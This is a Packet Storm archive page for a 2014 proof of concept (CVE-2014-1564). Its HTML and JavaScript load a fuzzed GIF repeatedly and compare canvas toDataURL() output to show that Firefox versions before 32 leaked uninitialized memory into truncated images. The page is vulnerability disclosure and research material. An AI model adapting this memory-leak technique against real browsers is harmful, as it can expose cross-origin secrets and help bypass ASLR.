what you don't know can hurt you

Mozilla Firefox Secret Leak

Mozilla Firefox Secret Leak
Posted Sep 3, 2014
Authored by Michal Zalewski

The recent release of Firefox 32 fixes another interesting image parsing issue found by afl. Following a refactoring of memory management code, the past few versions of the browser ended up using uninitialized memory for certain types of truncated images, which is easily measurable with a simple <canvas> + toDataURL() harness that examines all the fuzzer-generated test cases. Depending on a variety of factors, problems like that may leak secrets across web origins, or more prosaically, may help attackers bypass security measures such as ASLR. This code is a proof of concept for versions prior to 32.

tags | exploit, web, proof of concept, fuzzer
advisories | CVE-2014-1564
MD5 | 2235bb65ae6abe2af194f34a079a0f08

Mozilla Firefox Secret Leak

Change Mirror Download
<style>
body {
background-color: #d0d0d0;
}

img {
border: 1px solid teal;
margin: 1ex;
}

canvas {
border: 1px solid crimson;
margin: 1ex;
}
</style>

<body onload="set_images()">

<div id="status">
</div>

<div id="image_div">
</div>

<canvas height=32 width=32 id=cvs>
</canvas>

<h2>Variants:</h2>

<ul id="output">
</ul>

<script>
var c = document.getElementById('cvs');
var ctx = c.getContext('2d');

var loaded = 0;
var image_obj = [];
var USE_IMAGES = 300;

function check_results() {

var uniques = [];

uniques.push(image_obj[0].imgdata);

document.getElementById('output').innerHTML +=
'<img src="' + image_obj[0].imgdata + '">';

for (var i = 1; i < USE_IMAGES; i++) {

if (image_obj[0].imgdata != image_obj[i].imgdata) {

for (var j = 1; j < uniques.length; j++)
if (uniques[j] == image_obj[i].imgdata) break;

if (j == uniques.length) {

uniques.push(image_obj[i].imgdata);

document.getElementById('output').innerHTML +=
'<img src="' + image_obj[i].imgdata + '">';


}


}

}

if (uniques.length > 1)
alert('The image has ' + uniques.length + ' variants when rendered. Looks like you have a problem.');
else
alert('The image has just one variant when rendered. You\'re probably OK.');

}


function count_image() {

loaded++;

ctx.clearRect(0, 0, 32, 32);

try {
ctx.drawImage(this, 0, 0, 32, 32);
} catch (e) { }

this.imgdata = c.toDataURL();

if (loaded == USE_IMAGES) check_results();

}


function set_images() {

loaded = 0;
create_images();

for (var i = 0; i < USE_IMAGES; i++)
image_obj[i].src = './id:000110,src:000023.gif?' + Math.random();

}


function create_images() {

for (var i = 0; i < USE_IMAGES; i++) {

image_obj[i] = new Image();
image_obj[i].height = 32;
image_obj[i].width = 32;
image_obj[i].onerror = count_image;
image_obj[i].onload = count_image;

document.getElementById('image_div').appendChild(image_obj[i]);

}

}


</script>


<iframe src='http://www.cnn.com/'></iframe>

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

August 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    10 Files
  • 2
    Aug 2nd
    8 Files
  • 3
    Aug 3rd
    2 Files
  • 4
    Aug 4th
    1 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    79 Files
  • 7
    Aug 7th
    16 Files
  • 8
    Aug 8th
    10 Files
  • 9
    Aug 9th
    10 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    6 Files
  • 12
    Aug 12th
    26 Files
  • 13
    Aug 13th
    15 Files
  • 14
    Aug 14th
    19 Files
  • 15
    Aug 15th
    52 Files
  • 16
    Aug 16th
    11 Files
  • 17
    Aug 17th
    1 Files
  • 18
    Aug 18th
    1 Files
  • 19
    Aug 19th
    18 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close